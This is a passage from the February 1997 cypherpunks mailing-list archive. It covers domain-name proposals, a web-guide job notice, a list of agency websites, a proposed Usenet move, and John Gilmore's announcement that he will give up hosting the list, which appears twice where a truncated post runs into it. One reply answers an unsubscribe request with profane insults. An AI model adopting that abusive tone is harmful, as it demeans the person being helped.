Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv678jltEBIEF0MBAQE8LAf+NljN3C5JOG3ZF+ugZFWMeLtvu2fTmJPb 32s9VXgg82XdeP1QlEZVtfjHQSznCUCy+7BVAqAera38r6sY6cQzPSqA4nM2vQzH jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/ 36euGJNrM0aY/CFDu75KNgJiRXc4TDpiFuNYzsnOOeK490xVSSDEHw== =Y0C2 -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From snow at smoke.suba.com Mon Feb 10 23:28:15 1997 From: snow at smoke.suba.com (snow) Date: Mon, 10 Feb 1997 23:28:15 -0800 (PST) Subject: Metzger, Denninger square off In-Reply-To: <199702080056.QAA05207@toad.com> Message-ID: <199702110746.BAA00783@smoke.suba.com> > At 01:24 PM 2/7/97 -0500, you wrote: > [the proposed new TLDs] > .web Actually a good idea :) A lot of the .com congestion is > from companies that are virtually-hosted for the sole > purpose of running a Web site with the www. prefix. This one might not work. There are a lot of people who seem to think that you need a www.---.--- to get netscape to work. > .nom Nah. Just not classy enough. Now, a .nym TLD... :-) I think they should use .vain. From carolann at censored.org Mon Feb 10 23:33:28 1997 From: carolann at censored.org (Carol Anne Cypherpunk) Date: Mon, 10 Feb 1997 23:33:28 -0800 (PST) Subject: Cryptography WWW Siteguide wanted. Message-ID: <3.0.16.19970211013444.448fe33c@mailhost.primenet.com> -----BEGIN PGP SIGNED MESSAGE----- The Mining Co. (http://www.miningco.com) is looking for "siteguides". There will surely be a guide needed for cryptography. Pay is commensurate with hit volume, but it isn't too shabby, at about 3K per month after about a year. There is the original posting from Sideman's Online Insider following this post to acquaint you with the particulars. Good Luck to whomever from this list (for I'm sure someone will) takes the aformentioned position. I would, but I'm applying for a different site in the Culture/Beliefs section. On one other note, the PGP Plugin for Eudora is MARVELOUS! THIS I can even teach a clueless newbie! Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8 q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI i962UdPbyVs= =69D8 -----END PGP SIGNATURE----- ========================================================================== Seidman's Online Insider - Vol. 4, Issue 6 Brought to you by NetGuide Magazine< http://www.netguide.com > ========================================================================== Copyright (C) 1997 Robert Seidman and CMP Media Inc. All rights reserved. May be reproduced in any medium for noncommercial purposes as long as attribution is given. Kurnit is Back and Mining the Internet ====================================== "Like Arnold, he'll be back. I've been listening to what he has to say for a long time. If you listen to him, you'll hear how the Web is the way and that the proprietary services are a dead model. If you listen between-the-lines, you'll hear a modified version of that vision. A best of both worlds vision. You'll hear that he wants to develop easy to use, functional services on the Web. Like easy to use chat. Like easy to use bulletin boards. Like AOL, but on the Web." -Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp joint venture from Seidman's Online Insider for the Week Ending February 9, 1996. Kurnit's back, and almost exactly a year to the day since the clip above was written. On Monday February 10, the new company Kurnit founded, The Mining Company, will announce their plans to basically build AOL on the Web. I'm not sure about the choice of February 10 as the day to announce this. It is a day with special significance for me. On February 10, 1972 I had a dilemma. I was hungry for breakfast and wanted some cereal. I had cereal, but no milk. So I called my mom at work and asked her if I could run across the street to the convenience store. My mom said no because "the street" was more like a highway and because I was 9 years old. "You'll get hit by a car," my mom said. As you might imagine, I went anyway. And as you also might have guessed by now my mother was right, except no car was good enough for me. I had to face off with a ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.) Twenty-two stitches in the head, a healed broken wrist and 25 years later, I'm still hanging in there. I don't remember anything about it, including seeing the truck. I've always wondered if I was pushed. What I do remember was waking up in the ambulance with quite a headache. But since then, seeing how I lived and all, I've always viewed February 10 as a GOOD day. The Mining Company may not be a truck setting its sights on running down AOL or even other Web content aggregators (even to some degree NetGuide Live), but it is an interesting model. *What It Is* In effect, The Mining Company wants to be the biggest online service on the Web, ultimately offering 4,000 special-interest areas in an integrated, easy-to-use interface. Whether you call these special areas channels, departments or categories -- it's all the same thing. Kurnit wants to capitalize on the fact that it takes too long to find what you want on the Net. He wants to put it all in one place with one consistent interface so that you can easily find what you're looking for and interact with those who have common interests. Each "channel" will have content, bulletin boards, online chats, links to other good stuff on the Web in the particular area of interest. You'll also be able to search a site via Verity's search engine or search the entire Net via Digital's Alta Vista. While they are currently testing another chat product, they have decided to move to the iChat chat client. In the test system I had access to, the bulletin board system was very easy to use, but painfully slow. I'll cut them some slack since they are still in beta, but users will need to be able to move around the boards quicker than what I experienced or they will likely be put off. *And Now for Something Really Different* When Kurnit first ran the vision by me a couple of weeks ago, I said "To me it seems like this is..." "AOL on the Web," Kurnit interrupted. "Not exactly," I said, "It's like AOL on the Web with a hint of Amway thrown in." One of the problems with providing editorial context for the Net is that it winds up costing a lot of money. Kurnit's previous venture with MCI/Newscorp was iGuide. They built a great guide to the Net, but ultimately they scaled it back to just become a guide to entertainment on the Net. You've read the reports all over the place about scaled back editorial efforts and rightsizing. Good editorial doesn't come cheap, at least not when done traditionally. The Mining Company isn't going after the traditional model of hiring a bunch of full-time editors and bringing them in house. They plan to use folks already out there on the Net. Once upon a time while I was at IBM, I helped recruit Chris Locke, of MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was running. While there are many things Chris and I do not agree on, I was very much in synch with Chris when it came to the idea of communities of interest on the Web. Give remote people the tools to produce the content, Locke would say, and you'd be able to easily build hundreds if not thousands of communities of interest very inexpensively. Locke who is now with a hardware company in Colorado will no doubt take interest in what Kurnit and the gang at The Mining Company are up to, because they are all about providing the tools to produce the communities of interest inexpensively! If your chosen as one of its forum moderators (they call them Guides), you'll be given access to all the tools you need to build a site on the service. Now you may be thinking, "Ah, GeoCities does that already!" GeoCities < http://www.geocities.com > gives free web pages and is organized around certain communities of interest. But their homesteader program is not about setting up an all-encompassing online service. And while it is a great place to create a free web page, there's no real business model for the person creating the page. If you build a great site there, GeoCities gets the revenue on all the traffic that goes there. Because it has a lot of traffic, GeoCities can send some traffic to your Web site. But in the end, the model for GeoCities is one to give you a free page on the Web. This is good for you if you're just in it for the fun of it, and good for GeoCities too. I think GeoCities is great, but if I am looking for something in particular, I wouldn't think to look there first. The Mining Company wants to create a space that no matter what it is you hope to find, you'll look there first. *They Call them Guides* The Mining Company wants to create quality communities of interest. And for every community (channel) created, there will be a unique moderator/editor. The Mining Company calls them Guides. It's looking for more than just a few quality folks to become Guides and form their service. Starting Monday, they will begin accepting applications to become Guides on the service. There could be multiple sites about the same thing during the start-up phase, but ultimately it will be whittled down to one Guide/site per special interest. To ensure quality, they'll be a review committee set-up to make sure quality standards are up to snuff, including some folks from the community of Guides. Kurnit believes between that, the natural inclination for other Guides to point out areas of, um, weakness and user feedback, they'll have a good handle on quality. Additionally, there will be some in-house editorial to oversee major groupings (like Technology, Personal Finance, etc.) "The Mining Company is dedicated to serving the needs of its Guides and users," said Kurnit. "We give the tools and support to the Guides to help users find what they want, trust what they find, and connect them with the most valuable sites on the Net and with other interesting people." "This model is now only possible because of the team effort at The Mining Company to integrate the latest improvements in Internet technology and the newly identified needs of users and independent Web producers," adds Kurnit. *Getting the Guides* Will it be easy to get the ultimately thousands of Guides necessary to run this service? "How much talent is out there," asks Kurnit. "We look at the thousands of pages out there on AOL, GeoCities, etc., and the rest of the Internet," Kurnit said. "All we think we need to get is 2%-3% of the talent pool." In certain areas it will likely be very competitive. Everyone will want to get there first. "First there's the application process," said Scott Kurnit in a phone Interview. "You're going to show us your bio and you're going to write some columns so we can see your writing style. If you make the grade, you make it to our orientation process," Kurnit said. The Mining Company places its focus on training the Guides and giving them the tools they need to make a site. If you "make the grade" you basically have 3 weeks (2 of which are the "orientation") to get a site up-and-running on the service. "The fact is, if you can't get it done in a reasonable time then you probably don't have the dedication or time to get it done," says Kurnit. Just how much time will it take for Guides to put together sites? "We're not looking for anyone to quite their day jobs," said Kurnit. "We're looking at about a 10 hour a week commitment to produce the sites." But Kurnit also says that though there will be only one Guide per site, the Guides will be able to line up assistants. *What's in it for You?* So why The Mining Company then? Why not GeoCities or doing it on your own? Well, there are a couple of reasons. One is the promise of exposure, the other is the promise of MONEY. There is a model here, especially if you're not looking to quit your day job. While I imagine it will have to shift its model somewhat, there are some opportunities to make a buck or two for the Guides. It might not be much money, but if you're already throwing 10 hours or so a week towards maintaining a Web page that lines up around a special interest or two, any money is better than what you're probably getting now. Basically, The Mining Company is looking to allocate 40% of all advertising revenues back to the Guides themselves. The real pool here is 30%, with the additional 10% being used for things like bonuses. So, how does it work? Kurnit is looking to get quickly to a million or so page views a day (each of the pages I saw had 2 advertisements. By the end of the year, Kurnit hopes to be in the 10 million - 15 million page views. It sounds a little ambitious, but if they're successful lining up quality Guides, it could become a reality. So let's say they're getting 5 million page views per day. Based on what I saw, that would net out to be about 300 million ads running per month. Lets say ad sales average out to $30/1000 (a $30 CPM). Based on that, you're looking at a cool $9 million a month in advertising revenue. So $3.6 million is in the Guide pool, but only $2.7 million is for the true revenue split. Now, let's say you're a Guide who got one-tenth of 1 percent of The Mining Company's overall traffic. You'd make a cool $2,700 a month for your efforts. If you happen to be a guide in one of the "killer categories" whether it be a parents site or a kids site or a computing site, it's not unreasonable to think that you might get as much as 1%. That would be $27,000 per month!! Some people will balk at the 40%-60% share, but I think that's pretty fair. Where I'd predict the model will have to change, however, is in the cases where the cost per thousand (CPM) view being charged the advertisers is much higher than the average of the overall site. If the overall site average is $30/1000, but your site is generating a CPM of around $90, you're probably not going to want to be paid based on averages. *Will it Work?* In short, I think this could work quite nicely. The premise of a front door that links to content that is all packaged with a consistent look and feel is a winning premise. With AOL's recent move to flat-fee, one big advantage a Net service has over a proprietary model like AOL is the ability to create content far more easily and inexpensively. Much coverage has been given this week regarding AOL beginning to charge its partners in its Company Connection a $55,000 fee each year to participate. Some in AOL are saying its reasonable since the areas amount to "free" advertising for the companies, but realistically speaking, I think it is a maintenance fee AOL is charging to offset the cost of dealing with these forums. I think it is reasonable to expect to see AOL begin to charge similar fees for any content that isn't "must have" for them, now that the hourly charges that once subsidized these areas are gone. There is a cost of throwing in-house support at these online areas and much of the cost is due to the fact that it's a proprietary system. Setting up new "forms" and new looks just isn't easily accomplished by the content providers themselves. So, the timing may be good for The Mining Company. There are at least two tricks Kurnit and Co. must pull off. First, they have to get the Guides. That starts on Monday, when they begin accepting applications. The next will be to market the site in a way that gets people to the front door. Internet of the people, for the people and by the people, it has a nice ring to it... I'm sure we'll hear more about this when the site officially launches in April. For more info, check out < http://www.miningco.com >, sometime on Monday, they will make a lot more information available there than the "coming soon" that was there as of this writing. Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann at censored.org 206.42.112.96 My Homepage The Cyberdoc *********************************************************************** From nobody at wazoo.com Mon Feb 10 23:54:38 1997 From: nobody at wazoo.com (Anonymous) Date: Mon, 10 Feb 1997 23:54:38 -0800 (PST) Subject: [ANNOUNCEMENT] PGP Signatures Message-ID: <199702110754.AAA04078@earth.wazoo.com> Dick Vitriol K'ock`OfTheMonth grew a beard to look like his mother. _ / ' | /><\ Dick Vitriol K'ock`OfTheMonth //[ `' ]\\ From harka at nycmetro.com Tue Feb 11 00:13:14 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Tue, 11 Feb 1997 00:13:14 -0800 (PST) Subject: Military/Intelligence URL Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Here an page, that deals with various intelligence and military institutions... In> Subject: GOVT> AJAX, Government and Military Intelligence In> http://204.180.198.56:80/ajax/ajax.htm In> United States and International Government Military and Intelligence In> Agency Access In> Certain Locations Or Sections Thereof May Be Closed To In> Unauthorized Use. In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM. In> (If You Prefer A Frameless Environment, Click HERE.) In> Last update: 7 FEBRUARY 1997. All accesses verified at In> time of inclusion. In> CIA Central Intelligence Agency In> DIA Defense Intelligence Agency In> NRO National Reconnaissance Office In> NSA National Security Agency In> SS Secret Service In> USCSOI U.S. Customs Service Office of Investigation In> ATF Bureau of Alcohol, Tobacco and Firearms In> BOP Federal Bureau of Prisons In> CID U.S. Army Criminal Investigation Command In> COURTS U.S. Federal Courts In> FBI Federal Bureau of Investigation In> FINCEN Financial Crimes Enforcement Network In> FLETC Federal Law Enforcement Training Center In> MARSHALS U.S. Marshals Service In> NIJ National Institute of Justice In> ACC Air Combat Command In> AFSPC Air Force Space Command In> BMDO Ballistic Missile Defense Organization In> DEFENSE Defense Department In> DISA Defense Information Systems Agency In> DRMS Defense Reutilization and Marketing Service In> DTIC Defense Technical Information Center In> JCS Joint Chiefs of Staff In> NAVWAN Naval Aviation Systems Team Wide Area Network In> NAWCWPNS Naval Air Warfare Center Weapons Division In> NSWC Naval Surface Warfare Center In> USAFA United States Air Force Academy In> AHPCRC Army High Performance Computing Research Center In> ARPA Advanced Research Projects Agency In> LABLINK U.S. Department of Defense Laboratory System In> NRL The Naval Research Laboratory RL In> USAF Rome Laboratory for C41 Technology In> USACIL U.S. Army Criminal Investigation Laboratory In> NATGUARD Army and Air National Guards In> USA United States Army In> USAF United States Air Force In> USCG United States Coast Guard In> USMC United States Marine Corps In> USN United States Navy In> EPA U.S. Environmental Protection Agency In> FAA Federal Aviation Administration Technical Center In> FCC Federal Communications Commission In> FTC Federal Trade Commission In> NMFS National Marine Fisheries Service In> NRC Nuclear Regulatory Commission In> SEC Securities and Exchange Commission In> CDC Centers for Disease Control and Prevention In> CENSUS U.S. Department of Commerce Bureau of the Census In> CONGRESS U.S. House of Representatives In> CUSTOMS U.S. Customs Service In> DOE U.S. Department of Energy National Laboratories In> & Programs In> EXECUTIVE The White House In> FDIC Federal Deposit Insurance Corporation In> FEMA Federal Emergency Management Agency In> FMS Financial Management Service In> GPO U.S. Government Printing Office In> GSA U.S. General Services Administration In> HHS U.S. Department of Health and Human Services In> HPCC NOAA High Performance Computing and In> Communications IRS Internal Revenue Service In> JUSTICE Justice Department In> NARA National Archives and Records Administration In> NASA National Aeronautics and Space Administration In> NCDC National Climatic Data Center In> NIMH National Institute of Mental Health In> NOAA National Oceanic & Atmospheric Administration In> NSF National Science Foundation In> NTIS National Technical Information Service In> SBA Small Business Administration In> SEL Space Environment Laboratory In> STATE State Department In> TREASURY Treasury Department In> USCODE U.S. House of Representatives In> Internet Law Library U.S. Code In> CANADA In> CSE Communications Security Establishment In> CISC Criminal Intelligence Service Canada In> CSIS Canadian Security Intelligence Service In> SIRC Security Intelligence Review Committee In> UNITED KINGDOM CIM Central Intelligence Machinery In> CANADA In> DJC Department of Justice of Canada In> FORENSIC The Forensic Web In> RCMP Royal Canadian Mounted Police In> SGC Solicitor General of Canada In> UNITED NATIONS UNCPCJ United Nations Crime Prevention & In> Criminal Justice In> CANADA In> CFC Canadian Forces College In> DREO Defense Research Establishment, Ottawa In> UNITED KINGDOM In> ARMY The British Army In> CDA Centre for Defence Analysis In> DRA Defence Research Agency In> NATO North Atlantic Treaty Organization In> SACLANT Supreme Allied Commander, Atlantic In> SHAPE Supreme Headquarters Allied Powers Europe In> BECCA Business Espionage Controls & Countermeasures In> Association In> CRYPTOLOG Internet Guide to Cryptography In> DCJFTF Washington, D.C. Joint Fugitive Task Force In> WANTED "The World's Most Wanted" (Fugitives and In> Unsolved Crimes) Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8 3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j 6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni 2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig== =s4om -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From gbroiles at netbox.com Tue Feb 11 00:58:39 1997 From: gbroiles at netbox.com (gbroiles at netbox.com) Date: Tue, 11 Feb 1997 00:58:39 -0800 (PST) Subject: Proposal: alt.cypherpunks (unmoderated) Message-ID: <855650862.27942@dejanews.com> [This is a courtesy copy of an article posted to Usenet via Deja News] Some people, including myself, believe that the Cypherpunks mailing list (cypherpunks at toad.com), running since sometime in 1992, has outgrown the mailing list format and should move to Usenet. The advantages once gained by running as a mailing list (faster propagation, more personal/intimate atmosphere, freedom from Usenet-style flames & spams) are no longer present. Questions about the appropriateness of moderation, moderator liability for various "bad" kinds of messages, and the potential for content control where there is a single point for distribution have become very prominent concerns among list members. It's time to move to Usenet. Hence, this prelude to a newgroup. Two cypherpunk-related newsgroups now exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks is unsatisfactory to become a destination for Usenet-originated cypherpunk traffic because its name implies that it's a gateway from a mailing list. This is presently true, but this proposal is intended to create a newsgroup which supplements or replaces the current mailing list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates, who's in charge of it, or what "jyu.ohjelmointi" is or stands for. Judging from the limited selection of messages which seem to reach DejaNews and AltaVista from it, it suffers from relatively poor propagation. The cypherpunks mailing list currently has approximately 1300 subscribers, sees traffic between 30 and 70 messages per day (est.), and on its better days discusses technological defenses for privacy in an information age. Popular topics include encryption, legal issues around encryption and export control, and the relationship between technology and social control. A sample line for the newsgroups file: alt.cypherpunks Technological defenses for privacy -------------------==== Posted via Deja News ====----------------------- http://www.dejanews.com/ Search, Read, Post to Usenet From paul at fatmans.demon.co.uk Tue Feb 11 03:37:57 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Tue, 11 Feb 1997 03:37:57 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <855658890.66224.0@fatmans.demon.co.uk> > You're giong to have to find a way to get me off of your piss-ant mailing > list. Ecouter et repeter: "going" Now, if you didn`t have shit for brains you would have followed the instructions I sent you last time on how to unsubscribe from the cypherpunks mailing list. However, as you evidently have no wit or intelligence whatsoever, nor do you seem able to comprehend anything phrased in standard English here are the instructions in moron. To unsubscribe from the piss-ant motherfuckers mailing list you are giong to have to dooo teh folwoing: Send a piss-ant message to majordomo at toad.com with the *MESSAGE BODY* reading exactly as follows: unsubscribe cypherpunks 2ndsun at bigfoot.com Either this or contact postmaster at bigfoot.com and ask him to mailkill all mailing list traffic for you. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From gnu at toad.com Tue Feb 11 03:54:36 1997 From: gnu at toad.com (John Gilmore) Date: Tue, 11 Feb 1997 03:54:36 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702111154.DAA16237@toad.com> Sandy hit a pothole in the moderation experiment when Mr. Nemesis submitted a posting containing nothing but libelous statements about Sandy's employer. He never anticipated that he wouldn't be able to follow his announced "post it to one list or the other" policy because to do so would make him legally liable (in his opinion; he's a lawyer, I'm not). His gears jammed, and the whole machine came to a halt for a few days. Sandy has agreed to continue moderation through the end of the original 1-month experiment (through Feb 19). And it's a good thing, too, because the "cypherpunks community" had better get off its whining butt in the next ten days, or it will no longer exist. I've come to the conclusion that I'm not willing to host the cypherpunks list any more. It's not the true assholes that brought me to this decision; it's the reaction from the bulk of people on the list: suspicion, flamage, and criticism with every attempt to improve things. I noticed few people volunteering some of their own time, money, or machines to help out. Almost all the suggestions were advice for *other* people to implement: One would have thought that had Sandy and John really been interested in hearing the views of list members, this approach would have eventually won out. a supposedly libertarian and anarchistic group of people has decided that censorship is the right solution to their problems. I'd prefer for the cypherpunks _name_ not be associated with a moderated/censored list. (I mean no insult to either Sandy or John in this, BTW... I simply think that they've gone about this the wrong way. If one is going to advocate free speech, I strongly suggest one learns to deal with one's own greed and one's own need for power first. For those who want it, let someone moderate the list for as long as they care to do it. Approved messages get a "X-sandy-approved" header. ... the vast majority are still shipped out as 'Sender: owner-cypherpunks at toad.com' (and the 'Received' chain as I pointed out in my original post). to me that is piss poor list management. however you slice it, censorship on a freedom of speech list just does not make it and we make fools of ourselves if we think otherwise. Now each of these posters will get their chance to do it "right" -- on their own time and with their own resources. A large fraction of the list seems to think that "freedom of speech" means that everyone is required to listen to everyone else at all times. That there can't be focused, topical conversations in a society that has freedom of speech. I would say the opposite; part of freedom of speech is the freedom to choose to whom we speak and to whom we listen. This is part of what cryptography does: lets us control who can receive our speech, and lets recievers determine who the speaker is. There also seems to be a misunderstanding that freedom of speech requires that people who want to speak already have a place, set up and maintained by someone else, for them to speak in. If someone who's set up a speech-place decides it isn't being used for its intended purpose, then they are a censor, stopping all possibility of conversations. Did you forget that there are millions of other places to speak in cyberspace, millions more in realspace, and that you can personally create more if you don't like any of the ones you know about? To paraphrase Zappa, you wouldn't know censorship if it bit you on the ass. You think you're being censored when you're just being excluded from a forum because what you're saying isn't interesting to that forum. So anyway, I'm tired of it all. I'd much rather focus on getting my crypto work done than babysitting majordomo, tracking down attempts to subscribe the entire US Congress to the list, and debating the seventy or eighty "obvious right ways" to handle the list. This is a "put up or shut up" to the cypherpunks community. Either you list denizens will, among yourselves, put in the energy to build a new home for the list (and run it in whatever way your volunteers want) by Feb 20, or the list will cease to exist on Feb 20. The next ten days of moderated discussion, through the end of the original experiment, will give the community a chance to discuss whether and where it plans to host the list after the experiment is over. My feeling is that the stalkers who have been trying to shut it down (Dimitri, etc) will be out in full force, trying to disrupt the process of finding a new home. It would be very hard to make progress along that line in an unmoderated list. Cypherpunks-unedited readers are welcome to try. Sandy reports that he's changing his criteria for moderation for the remainder of the experiment. It was his idea, and I approve. The criteria now are: * The topics of the list are: cryptography setting up replacements for cypherpunks at toad.com * On-topic, legal, posts will go to the list. * Postings with any hint of legal liability (in Sandy's opinion) will be silently ignored. * Legal but off-topic posts will go to cypherpunks-flames. Sandy will apply these criteria retroactively to the backlog (of about 140 messages), which means that most recent criticisms of the moderation (which don't invove someone volunteering to do things for the list) will go straight to the flames list. If you don't like it, I recommend that you start your own list. Soon. For me it's a sad thing that the community's willingness to pull together has degenerated to the point where I feel better off separating from the list. I hope that others in the community will create one or several alternatives that work better. John Gilmore From bdolan at USIT.NET Tue Feb 11 04:26:59 1997 From: bdolan at USIT.NET (Brad Dolan) Date: Tue, 11 Feb 1997 04:26:59 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702111154.DAA16237@toad.com> Message-ID: How do you encourage people to use resources more-or-less wisely? 1. The socialist/nanny model - take charge and give 'em orders We've tried that and it apparently didn't work out. 2. The market model - charge people for what they use A while back, omebody suggested a system which would be self-funding, by charging people for each post they made. Maybe we should try it? If each little piece of ASCII art cost a poster a buck or two to send, he might send fewer. On the other hand, we don't want to discourage interesting posters, so I think some system to reimburse interesting posters would be useful. I'm not the guy to set up the system, but I'll happily buy a modest amount of "posting tickets." Brad On Tue, 11 Feb 1997, John Gilmore wrote: > Sandy hit a pothole in the moderation experiment when Mr. Nemesis > submitted a posting containing nothing but libelous statements about > Sandy's employer. He never anticipated that he wouldn't be able to > follow his announced "post it to one list or the other" policy because > to do so would make him legally liable (in his opinion; he's a lawyer, > I'm not). His gears jammed, and the whole machine came to a halt for > a few days. > > Sandy has agreed to continue moderation through the end of the > original 1-month experiment (through Feb 19). And it's a good thing, > too, because the "cypherpunks community" had better get off its > whining butt in the next ten days, or it will no longer exist. > > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: > ... From aba at dcs.ex.ac.uk Tue Feb 11 05:05:04 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 11 Feb 1997 05:05:04 -0800 (PST) Subject: sci.crypt archive? In-Reply-To: <199702102300.PAA06838@netcom19.netcom.com> Message-ID: <199702060432.EAA00130@server.test.net> Paul Rubin writes: > Is anyone on cypherpunks archiving sci.crypt? I'd be interested > in getting hold of some articles from some years back... thanks There is some one who archives it, it's up for ftp. Look in the sci.crypt FAQ, or do a web search to find the URL. I grabbed a copy for Remo Pini for the crypto CD, but I've lost the URL. The Crypto CD (I have one) has Jan 92 to Sep 94 (articles 6871 to 32742) on it. See http://www.rpini.com/ if you're interested. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Sandy hit a pothole in the moderation experiment when Mr. Nemesis submitted a posting containing nothing but libelous statements about Sandy's employer. He never anticipated that he wouldn't be able to follow his announced "post it to one list or the other" policy because to do so would make him legally liable (in his opinion; he's a lawyer, I'm not). His gears jammed, and the whole machine came to a halt for a few days. Sandy has agreed to continue moderation through the end of the original 1-month experiment (through Feb 19). And it's a good thing, too, because the "cypherpunks community" had better get off its whining butt in the next ten days, or it will no longer exist. I've come to the conclusion that I'm not willing to host the cypherpunks list any more. It's not the true assholes that brought me to this decision; it's the reaction from the bulk of people on the list: suspicion, flamage, and criticism with every attempt to improve things. I noticed few people volunteering some of their own time, money, or machines to help out. Almost all the suggestions were advice for *other* people to implement: One would have thought that had Sandy and John really been interested in hearing the views of list members, this approach would have eventually won out. a supposedly libertarian and anarchistic group of people has decided that censorship is the right solution to their problems. I'd prefer for the cypherpunks _name_ not be associated with a moderated/censored list. (I mean no insult to either Sandy or John in this, BTW... I simply think that they've gone about this the wrong way. If one is going to advocate free speech, I strongly suggest one learns to deal with one's own greed and one's own need for power first. For those who want it, let someone moderate the list for as long as they care to do it. Approved messages get a "X-sandy-approved" header. ... the vast majority are still shipped out as 'Sender: owner-cypherpunks at toad.com' (and the 'Received' chain as I pointed out in my original post). to me that is piss poor list management. however you slice it, censorship on a freedom of speech list just does not make it and we make fools of ourselves if we think otherwise. Now each of these posters will get their chance to do it "right" -- on their own time and with their own resources. A large fraction of the list seems to think that "freedom of speech" means that everyone is required to listen to everyone else at all times. That there can't be focused, topical conversations in a society that has freedom of speech. I would say the opposite; part of freedom of speech is the freedom to choose to whom we speak and to whom we listen. This is part of what cryptography does: lets us control who can receive our speech, and lets recievers determine who the speaker is. There also seems to be a misunderstanding that freedom of speech requires that people who want to speak already have a place, set up and maintained by someone else, for them to speak in. If someone who's set up a speech-place decides it isn't being used for its intended purpose, then they are a censor, stopping all possibility of conversations. Did you forget that there are millions of other places to speak in cyberspace, millions more in realspace, and that you can personally create more if you don't like any of the ones you know about? To paraphrase Zappa, you wouldn't know censorship if it bit you on the ass. You think you're being censored when you're just being excluded from a forum because what you're saying isn't interesting to that forum. So anyway, I'm tired of it all. I'd much rather focus on getting my crypto work done than babysitting majordomo, tracking down attempts to subscribe the entire US Congress to the list, and debating the seventy or eighty "obvious right ways" to handle the list. This is a "put up or shut up" to the cypherpunks community. Either you list denizens will, among yourselves, put in the energy to build a new home for the list (and run it in whatever way your volunteers want) by Feb 20, or the list will cease to exist on Feb 20. The next ten days of moderated discussion, through the end of the original experiment, will give the community a chance to discuss whether and where it plans to host the list after the experiment is over. My feeling is that the stalkers who have been trying to shut it down (Dimitri, etc) will be out in full force, trying to disrupt the process of finding a new home. It would be very hard to make progress along that line in an unmoderated list. Cypherpunks-unedited readers are welcome to try. Sandy reports that he's changing his criteria for moderation for the remainder of the experiment. It was his idea, and I approve. The criteria now are: * The topics of the list are: cryptography setting up replacements for cypherpunks at toad.com * On-topic, legal, posts will go to the list. * Postings with any hint of legal liability (in Sandy's opinion) will be silently ignored. * Legal but off-topic posts will go to cypherpunks-flames. Sandy will apply these criteria retroactively to the backlog (of about 140 messages), which means that most recent criticisms of the moderation (which don't invove someone volunteering to do things for the list) will go straight to the flames list. If you don't like it, I recommend that you start your own list. Soon. For me it's a sad thing that the community's willingness to pull together has degenerated to the point where I feel better off separating from the list. I hope that others in the community will create one or several alternatives that work better. John Gilmore From gnu at toad.com Tue Feb 11 05:40:52 1997 From: gnu at toad.com (John Gilmore) Date: Tue, 11 Feb 1997 05:40:52 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" 